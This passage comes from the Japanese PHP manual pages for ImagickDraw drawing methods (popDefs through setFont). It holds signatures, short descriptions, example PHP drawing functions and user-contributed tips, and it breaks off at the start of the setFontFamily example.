public ImagickDraw::popDefs ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

定義リストを終了します。

返り値

値を返しません。

例

例1 ImagickDraw::popDefs()

<?php
function popDefs($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setstrokeOpacity(1);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);
    $draw->pushDefs();
    $draw->setStrokeColor('white');
    $draw->rectangle(50, 50, 200, 200);
    $draw->popDefs();

    $draw->rectangle(300, 50, 450, 200);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


パターン定義を終了する

  • ≪ ImagickDraw::popDefs
  • ImagickDraw::push ≫
  • PHP Manual
  • ImagickDraw
  • パターン定義を終了する

ImagickDraw::popPattern

(PECL imagick 2, PECL imagick 3)

ImagickDraw::popPattern — パターン定義を終了する

説明

public ImagickDraw::popPattern ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パターン定義を終了します。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の ImagickDraw をコピーしてスタックに格納する

  • ≪ ImagickDraw::popPattern
  • ImagickDraw::pushClipPath ≫
  • PHP Manual
  • ImagickDraw
  • 現在の ImagickDraw をコピーしてスタックに格納する

ImagickDraw::push

(PECL imagick 2, PECL imagick 3)

ImagickDraw::push — 現在の ImagickDraw をコピーしてスタックに格納する

説明

public ImagickDraw::push ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の ImagickDraw をコピーして新しい ImagickDraw を作成し、 それを ImagickDraw スタックに格納します。格納した ImagickDraw は pop() で取り出すことができます。ImagickDraw は ImagickDraw スタックに保存されます。Pop を行うには、事前に Push が行われている必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ImagickDraw::push()

<?php
function push($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillModifiedColor);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);
    $draw->push();
    $draw->translate(50, 50);
    $draw->rectangle(200, 200, 300, 300);
    $draw->pop();
    $draw->setFillColor($fillColor);
    $draw->rectangle(200, 200, 300, 300);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


クリップパスの定義を開始する

  • ≪ ImagickDraw::push
  • ImagickDraw::pushDefs ≫
  • PHP Manual
  • ImagickDraw
  • クリップパスの定義を開始する

ImagickDraw::pushClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushClipPath — クリップパスの定義を開始する

説明

public ImagickDraw::pushClipPath ( string $clip_mask_id ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

クリップパスの定義を開始します。 これは、任意の数の描画コマンドで構成され、最後は ImagickDraw::popClipPath() コマンドとなります。

パラメータ

clip_mask_id

クリップマスク ID。

返り値

値を返しません。

User Contributed Notes

bogdan at moongate dot ro 08-Apr-2011 06:02
Here's an interactive example for your enjoyment, featuring two intersecting discs. My version doesn't antialias the clipping path; I suppose YMMV.

<?php

// Simple clip path example
// Bogdan Stancescu

$showClipping=1; // Try setting this to 0!
$showDrawing=1;  // Try setting this to 0!

// Don't edit below this line (at least until you understand the example)

$showBoth=$showClipping && $showDrawing;
$showAny=$showClipping || $showDrawing;

$image=new Imagick(); // Create image

// Image size
$width=151;
$height=101;

$image->newImage($width, $height, new ImagickPixel('lightgray')); // some visible background

$draw=new ImagickDraw(); // Create draw object

if ($showBoth)
        $draw->pushClipPath('circle_left'); // Start clipping path

if ($showClipping) {
        $draw->setFillColor('red'); // The color doesn't matter if we clip
        $draw->circle(50,50,50,0); // A circle that occupies 100x100px on the left
}

if ($showBoth) {
        $draw->popClipPath(); // Finish clipping path
        $draw->setClipPath('circle_left'); // Use the clipping path above
}

if ($showDrawing) {
        $draw->setFillColor('navy'); // This is the actual drawing color
        $draw->circle(100,50,100,0); // A circle that occupies 100x100px on the right
}

if ($showAny)
        $image->drawImage($draw); // Render $draw unto $image

$image->setImageFormat('png'); // Tell ImageMagick how to render this
header("Content-Type: image/png"); // Tell the browser how to render this

echo $image; // Render the image into the browser
?>


後に続くコマンドが、処理の前に名前つき要素を作成することを示す

  • ≪ ImagickDraw::pushClipPath
  • ImagickDraw::pushPattern ≫
  • PHP Manual
  • ImagickDraw
  • 後に続くコマンドが、処理の前に名前つき要素を作成することを示す

ImagickDraw::pushDefs

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushDefs — 後に続くコマンドが、処理の前に名前つき要素を作成することを示す

説明

public ImagickDraw::pushDefs ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

後に続く ImagickDraw::popDefs() までのコマンドが、 名前つき要素 (クリップパスやテクスチャなど) を作成することを示します。 これは、効率を考慮して事前に処理されます。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


後に続く ImagickDraw::opPattern() までのコマンドが、名前付きパターンを構成することを示す

  • ≪ ImagickDraw::pushDefs
  • ImagickDraw::rectangle ≫
  • PHP Manual
  • ImagickDraw
  • 後に続く ImagickDraw::opPattern() までのコマンドが、名前付きパターンを構成することを示す

ImagickDraw::pushPattern

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pushPattern — 後に続く ImagickDraw::opPattern() までのコマンドが、名前付きパターンを構成することを示す

説明

public ImagickDraw::pushPattern ( string $pattern_id , float $x , float $y , float $width , float $height ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

後に続く DrawPopPattern() までのコマンドが、 名前付きパターンを構成することを示します。 パターン空間は、左上の座標と幅、高さで指定します。 そして独自の描画空間となります。 描画される内容は、すべてこのパターン定義を使用します。 名前付きパターンは、線やブラシの定義で使用することができます。

パラメータ

pattern_id

パターン ID。

x

左上の角の x 座標。

y

左上の角の y 座標。

width

パターンの幅。

height

パターンの高さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ImagickDraw::pushPattern()

<?php
function pushPattern($strokeColor, $fillColor, $backgroundColor) {
    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(1);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(1);

    $draw->pushPattern("MyFirstPattern", 0, 0, 50, 50);
    for ($x = 0; $x < 50; $x += 10) {
        for ($y = 0; $y < 50; $y += 5) {
            $positionX = $x + (($y / 5) % 5);
            $draw->rectangle($positionX, $y, $positionX + 5, $y + 5);
        }
    }
    $draw->popPattern();

    $draw->setFillOpacity(0);
    $draw->rectangle(100, 100, 400, 400);
    $draw->setFillOpacity(1);

    $draw->setFillOpacity(1);

    $draw->push();
    $draw->setFillPatternURL('#MyFirstPattern');
    $draw->setFillColor('yellow');
    $draw->rectangle(100, 100, 400, 400);
    $draw->pop();

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


矩形を描画する

  • ≪ ImagickDraw::pushPattern
  • ImagickDraw::render ≫
  • PHP Manual
  • ImagickDraw
  • 矩形を描画する

ImagickDraw::rectangle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::rectangle — 矩形を描画する

説明

public ImagickDraw::rectangle ( float $x1 , float $y1 , float $x2 , float $y2 ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

2 つの座標を与え、現在の枠線や線幅、塗りつぶしの設定を使用して矩形を描画します。

パラメータ

x1

左上の角の x 座標。

y1

左上の角の y 座標。

x2

右下の角の x 座標。

y2

右下の角の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::rectangle()

<?php
function rectangle($strokeColor, $fillColor, $backgroundColor) {
    $draw = new \ImagickDraw();
    $strokeColor = new \ImagickPixel($strokeColor);
    $fillColor = new \ImagickPixel($fillColor);

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);

    $draw->rectangle(200, 200, 300, 300);
    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

garym at binaryfarm dot com 28-Feb-2010 04:32
<?php

// Draw a simple rectangle or three for the newbies.
// I'm trying to comment these as best I can for a non-OOP person.
// commets or criticism are welcome. Gary Melander

$image = new Imagick();    // Create a new instance an $image class

$width =  600;        // Some necessary dimensions
$height = 400;

// $image class now inherits some attributes. i.e. Dimensions, bkgcolor...
$image->newImage( $width, $height, new ImagickPixel( 'lightgray' ) );

$draw = new ImagickDraw();    //Create a new drawing class (?)

$draw->setFillColor('wheat');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'green' ) );
$draw->rectangle( 100, 100, 200, 200 );    // Draw the rectangle

// Lets draw another
$draw->setFillColor('navy');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'yellow' ) );
$draw->setStrokeWidth(4);
$draw->rectangle( 150, 225, 350, 300 );    // Draw the rectangle

// and another
$draw->setFillColor('magenta');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'cyan' ) );
$draw->setStrokeWidth(2);
$draw->rectangle( 380, 100, 400, 350 );    // Draw the rectangle

$image->drawImage( $draw );    // Apply the stuff from the draw class to the image canvas

$image->setImageFormat('jpg');    // Give the image a format

header('Content-type: image/jpeg');     // Prepare the web browser to display an image
echo $image;                // Publish it to the world!

//$image->writeImage('someimage.jpg");    // ...Or just write it to a file...

?>


これまでのすべての描画コマンドを画像上にレンダリングする

  • ≪ ImagickDraw::rectangle
  • ImagickDraw::resetVectorGraphics ≫
  • PHP Manual
  • ImagickDraw
  • これまでのすべての描画コマンドを画像上にレンダリングする

ImagickDraw::render

(PECL imagick 2, PECL imagick 3)

ImagickDraw::render — これまでのすべての描画コマンドを画像上にレンダリングする

説明

public ImagickDraw::render ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

これまでのすべての描画コマンドを画像上にレンダリングします。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::render
  • ImagickDraw::rotate ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::resetVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::resetVectorGraphics — Description

説明

public ImagickDraw::resetVectorGraphics ( ) : bool

Resets the vector graphics.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定した回転を現在の座標空間に適用する

  • ≪ ImagickDraw::resetVectorGraphics
  • ImagickDraw::roundRectangle ≫
  • PHP Manual
  • ImagickDraw
  • 指定した回転を現在の座標空間に適用する

ImagickDraw::rotate

(PECL imagick 2, PECL imagick 3)

ImagickDraw::rotate — 指定した回転を現在の座標空間に適用する

説明

public ImagickDraw::rotate ( float $degrees ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定した回転を現在の座標空間に適用します。

パラメータ

degrees

回転角度。

返り値

値を返しません。

例

例1 ImagickDraw::rotate()

<?php
function rotate($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {
    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeOpacity(1);
    $draw->setFillColor($fillColor);
    $draw->rectangle(200, 200, 300, 300);
    $draw->setFillColor($fillModifiedColor);
    $draw->rotate(15);
    $draw->rectangle(200, 200, 300, 300);

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


角が丸い矩形を描画する

  • ≪ ImagickDraw::rotate
  • ImagickDraw::scale ≫
  • PHP Manual
  • ImagickDraw
  • 角が丸い矩形を描画する

ImagickDraw::roundRectangle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::roundRectangle — 角が丸い矩形を描画する

説明

public ImagickDraw::roundRectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

2 つの座標、そして角の x & y 方向の丸めを与え、 現在の枠線や線幅、塗りつぶしの設定を使用して角が丸い矩形を描画します。

パラメータ

x1

左上の角の x 座標。

y1

左上の角の y 座標。

x2

右下の角の x 座標。

y2

右下の角の y 座標。

rx

x 方向の丸め。

ry

y 方向の丸め。

返り値

値を返しません。

例

例1 ImagickDraw::roundRectangle()

<?php
function roundRectangle($strokeColor, $fillColor, $backgroundColor, $startX, $startY, $endX, $endY, $roundX, $roundY) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);

    $draw->roundRectangle($startX, $startY, $endX, $endY, $roundX, $roundY);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


倍率を調整する

  • ≪ ImagickDraw::roundRectangle
  • ImagickDraw::setClipPath ≫
  • PHP Manual
  • ImagickDraw
  • 倍率を調整する

ImagickDraw::scale

(PECL imagick 2, PECL imagick 3)

ImagickDraw::scale — 倍率を調整する

説明

public ImagickDraw::scale ( float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の座標空間における、 水平方向および垂直方向の拡大率を調整します。

パラメータ

x

水平方向の拡大率。

y

垂直方向の拡大率。

返り値

値を返しません。

例

例1 ImagickDraw::scale()

<?php
function scale($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeWidth(4);
    $draw->setFillColor($fillColor);
    $draw->rectangle(200, 200, 300, 300);
    $draw->setFillColor($fillModifiedColor);
    $draw->scale(1.4, 1.4);
    $draw->rectangle(200, 200, 300, 300);

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


指定した名前のクリッピングパスを画像に関連付ける

  • ≪ ImagickDraw::scale
  • ImagickDraw::setClipRule ≫
  • PHP Manual
  • ImagickDraw
  • 指定した名前のクリッピングパスを画像に関連付ける

ImagickDraw::setClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipPath — 指定した名前のクリッピングパスを画像に関連付ける

説明

public ImagickDraw::setClipPath ( string $clip_mask ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定した名前のクリッピングパスを画像に関連付けます。 クリッピングパスの範囲内に描画された内容だけが反映されます。

パラメータ

clip_mask

クリッピングパスの名前。

返り値

値を返しません。

例

例1 ImagickDraw::setClipPath()

<?php
function setClipPath($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);

    $clipPathName = 'testClipPath';

    $draw->pushClipPath($clipPathName);
    $draw->rectangle(0, 0, 250, 250);
    $draw->popClipPath();
    $draw->setClipPath($clipPathName);
    $draw->rectangle(100, 100, 400, 400);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


クリッピングパスで使用する多角形塗りつぶしルールを設定する

  • ≪ ImagickDraw::setClipPath
  • ImagickDraw::setClipUnits ≫
  • PHP Manual
  • ImagickDraw
  • クリッピングパスで使用する多角形塗りつぶしルールを設定する

ImagickDraw::setClipRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipRule — クリッピングパスで使用する多角形塗りつぶしルールを設定する

説明

public ImagickDraw::setClipRule ( int $fill_rule ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

クリッピングパスで使用する多角形塗りつぶしルールを設定します。

パラメータ

fill_rule

FILLRULE_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setClipRule()

<?php
function setClipRule($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);
    //\Imagick::FILLRULE_EVENODD
    //\Imagick::FILLRULE_NONZERO

    $clipPathName = 'testClipPath';
    $draw->pushClipPath($clipPathName);
    $draw->setClipRule(\Imagick::FILLRULE_EVENODD);
    $draw->rectangle(0, 0, 300, 500);
    $draw->rectangle(200, 0, 500, 500);
    $draw->popClipPath();
    $draw->setClipPath($clipPathName);
    $draw->rectangle(200, 200, 300, 300);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


クリップパスの単位の解釈を設定する

  • ≪ ImagickDraw::setClipRule
  • ImagickDraw::setFillAlpha ≫
  • PHP Manual
  • ImagickDraw
  • クリップパスの単位の解釈を設定する

ImagickDraw::setClipUnits

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipUnits — クリップパスの単位の解釈を設定する

説明

public ImagickDraw::setClipUnits ( int $clip_units ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

クリップパスの単位の解釈を設定します。

パラメータ

clip_units

クリップ単位の数。

返り値

値を返しません。

例

例1 ImagickDraw::setClipUnits()

<?php
function setClipUnits($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);
    $clipPathName = 'testClipPath';
    $draw->setClipUnits(\Imagick::RESOLUTION_PIXELSPERINCH);
    $draw->pushClipPath($clipPathName);
    $draw->rectangle(0, 0, 250, 250);
    $draw->popClipPath();
    $draw->setClipPath($clipPathName);

    //RESOLUTION_PIXELSPERINCH
    //RESOLUTION_PIXELSPERCENTIMETER

    $draw->rectangle(200, 200, 300, 300);
    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


色やテクスチャによる塗りつぶしの際の透過度を設定する

  • ≪ ImagickDraw::setClipUnits
  • ImagickDraw::setFillColor ≫
  • PHP Manual
  • ImagickDraw
  • 色やテクスチャによる塗りつぶしの際の透過度を設定する

ImagickDraw::setFillAlpha

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillAlpha — 色やテクスチャによる塗りつぶしの際の透過度を設定する

説明

public ImagickDraw::setFillAlpha ( float $opacity ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

色やテクスチャによる塗りつぶしの際の透過度を設定します。 完全に不透明な状態が 1.0 となります。

パラメータ

opacity

塗りつぶしのアルファ値。

返り値

値を返しません。

例

例1 ImagickDraw::setFillAlpha()

<?php
function setFillAlpha($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);
    $draw->rectangle(100, 200, 200, 300);
    @$draw->setFillAlpha(0.4);
    $draw->rectangle(300, 200, 400, 300);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Mark van der Velden 06-Dec-2007 01:37
setFillAlpha is deprecated use the replacement: setFillOpacity


オブジェクトの塗りつぶしに使用する色を設定する

  • ≪ ImagickDraw::setFillAlpha
  • ImagickDraw::setFillOpacity ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの塗りつぶしに使用する色を設定する

ImagickDraw::setFillColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillColor — オブジェクトの塗りつぶしに使用する色を設定する

説明

public ImagickDraw::setFillColor ( ImagickPixel $fill_pixel ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの塗りつぶしに使用する色を設定します。

パラメータ

fill_pixel

色を表す ImagickPixel。

返り値

値を返しません。

例

例1 ImagickDraw::setFillColor()

<?php
function setFillColor($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(1.5);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->rectangle(50, 50, 150, 150);

    $draw->setFillColor("rgb(200, 32, 32)");
    $draw->rectangle(200, 50, 300, 150);

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:00
It also accepts color definitions by name and hexa, as in

<?php
$draw = new ImagickDraw();

/* defined color black */
$draw->setFillColor('black');

/* some light brown */
$draw->setFillColor('#a4610f');

?>


色やテクスチャによる塗りつぶしの際の透過度を設定する

  • ≪ ImagickDraw::setFillColor
  • ImagickDraw::setFillPatternURL ≫
  • PHP Manual
  • ImagickDraw
  • 色やテクスチャによる塗りつぶしの際の透過度を設定する

ImagickDraw::setFillOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillOpacity — 色やテクスチャによる塗りつぶしの際の透過度を設定する

説明

public ImagickDraw::setFillOpacity ( float $fillOpacity ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

色やテクスチャによる塗りつぶしの際の透過度を設定します。 完全に不透明な状態が 1.0 となります。

パラメータ

fillOpacity

塗りつぶしの透明度。

返り値

値を返しません。

例

例1 ImagickDraw::setFillOpacity()

<?php
function setFillOpacity($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeWidth(2);

    $draw->rectangle(100, 200, 200, 300);

    $draw->setFillOpacity(0.4);
    $draw->rectangle(300, 200, 400, 300);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Michael Voek 08-Aug-2015 12:55
When fill color is changed, this is reset to 1.0 or to defined alpha with #aaxxx color format, where aa is alpha.


オブジェクトの塗りつぶしパターンとして使用する URL を設定する

  • ≪ ImagickDraw::setFillOpacity
  • ImagickDraw::setFillRule ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの塗りつぶしパターンとして使用する URL を設定する

ImagickDraw::setFillPatternURL

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillPatternURL — オブジェクトの塗りつぶしパターンとして使用する URL を設定する

説明

public ImagickDraw::setFillPatternURL ( string $fill_url ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの塗りつぶしパターンとして使用する URL を設定します。 現時点でサポートしているのは、ローカル URL ("#identifier") のみです。 このローカル URL は、DrawPushPattern/DrawPopPattern で塗りつぶしパターンを定義することによって作成されます。

パラメータ

fill_url

塗りつぶしパターンを取得する URL。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


多角形の描画時に使用する塗りつぶしルールを設定する

  • ≪ ImagickDraw::setFillPatternURL
  • ImagickDraw::setFont ≫
  • PHP Manual
  • ImagickDraw
  • 多角形の描画時に使用する塗りつぶしルールを設定する

ImagickDraw::setFillRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillRule — 多角形の描画時に使用する塗りつぶしルールを設定する

説明

public ImagickDraw::setFillRule ( int $fill_rule ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

多角形の描画時に使用する塗りつぶしルールを設定します。

パラメータ

fill_rule

FILLRULE_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setFillRule()

<?php
function setFillRule($fillColor, $strokeColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeWidth(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $fillRules = [\Imagick::FILLRULE_NONZERO, \Imagick::FILLRULE_EVENODD];

    $points = 11;
    $size = 150;

    $draw->translate(175, 160);

    for ($x = 0; $x < 2; $x++) {
        $draw->setFillRule($fillRules[$x]);
        $draw->pathStart();
        for ($n = 0; $n < $points * 2; $n++) {

            if ($n >= $points) {
                $angle = fmod($n * 360 * 4 / $points, 360) * pi() / 180;
            }
            else {
                $angle = fmod($n * 360 * 3 / $points, 360) * pi() / 180;
            }

            $positionX = $size * sin($angle);
            $positionY = $size * cos($angle);

            if ($n == 0) {
                $draw->pathMoveToAbsolute($positionX, $positionY);
            }
            else {
                $draw->pathLineToAbsolute($positionX, $positionY);
            }
        }

        $draw->pathClose();
        $draw->pathFinish();

        $draw->translate(325, 0);
    }

    $image = new \Imagick();
    $image->newImage(700, 320, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


テキストによる注記を行う際に使用するフォントを設定する

  • ≪ ImagickDraw::setFillRule
  • ImagickDraw::setFontFamily ≫
  • PHP Manual
  • ImagickDraw
  • テキストによる注記を行う際に使用するフォントを設定する

ImagickDraw::setFont

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFont — テキストによる注記を行う際に使用するフォントを設定する

説明

public ImagickDraw::setFont ( string $font_name ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントを設定します。

パラメータ

font_name

返り値

成功した場合に true を返します。

例

例1 ImagickDraw::setFont()

<?php
function setFont($fillColor, $strokeColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(36);

    $draw->setFont("../fonts/Arial.ttf");
    $draw->annotation(50, 50, "Lorem Ipsum!");

    $draw->setFont("../fonts/Consolas.ttf");
    $draw->annotation(50, 100, "Lorem Ipsum!");

    $draw->setFont("../fonts/CANDY.TTF");
    $draw->annotation(50, 150, "Lorem Ipsum!");

    $draw->setFont("../fonts/Inconsolata-dz.otf");
    $draw->annotation(50, 200, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(500, 300, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Stefano 24-Apr-2017 01:16
if u are looking for the configured/embedded font list
$fontList = \Imagick::queryFonts('*');
foreach ( $fontList as $fontName ) {
    echo $fontName . '<br>';
}

http://php.net/manual/en/imagick.queryfonts.php
Anonymous 06-Apr-2011 05:54
To get a list of fonts that ImageMagick knows about, enter this from a cmd shell:
 convert -list font
zombiebovine at gmail dot com 14-Sep-2009 05:49
The only acceptable parameters I've been able to use are the location, relative to site root, of a font file.

e.g,
$draw->setFont("fonts/arial.ttf");


テキストによる注記を行う際に使用するフォントファミリーを設定する

  • ≪ ImagickDraw::setFont
  • ImagickDraw::setFontSize ≫
  • PHP Manual
  • ImagickDraw
  • テキストによる注記を行う際に使用するフォントファミリーを設定する

ImagickDraw::setFontFamily

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontFamily — テキストによる注記を行う際に使用するフォントファミリーを設定する

説明

public ImagickDraw::setFontFamily ( string $font_family ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントファミリーを設定します。

パラメータ

font_family

フォントファミリー。

返り値

成功した場合に true を返します。

例

例1 ImagickDraw::setFontFamily()

<?php
function setFontFamily($fillColor, $strokeColor, $backgroundColor) {

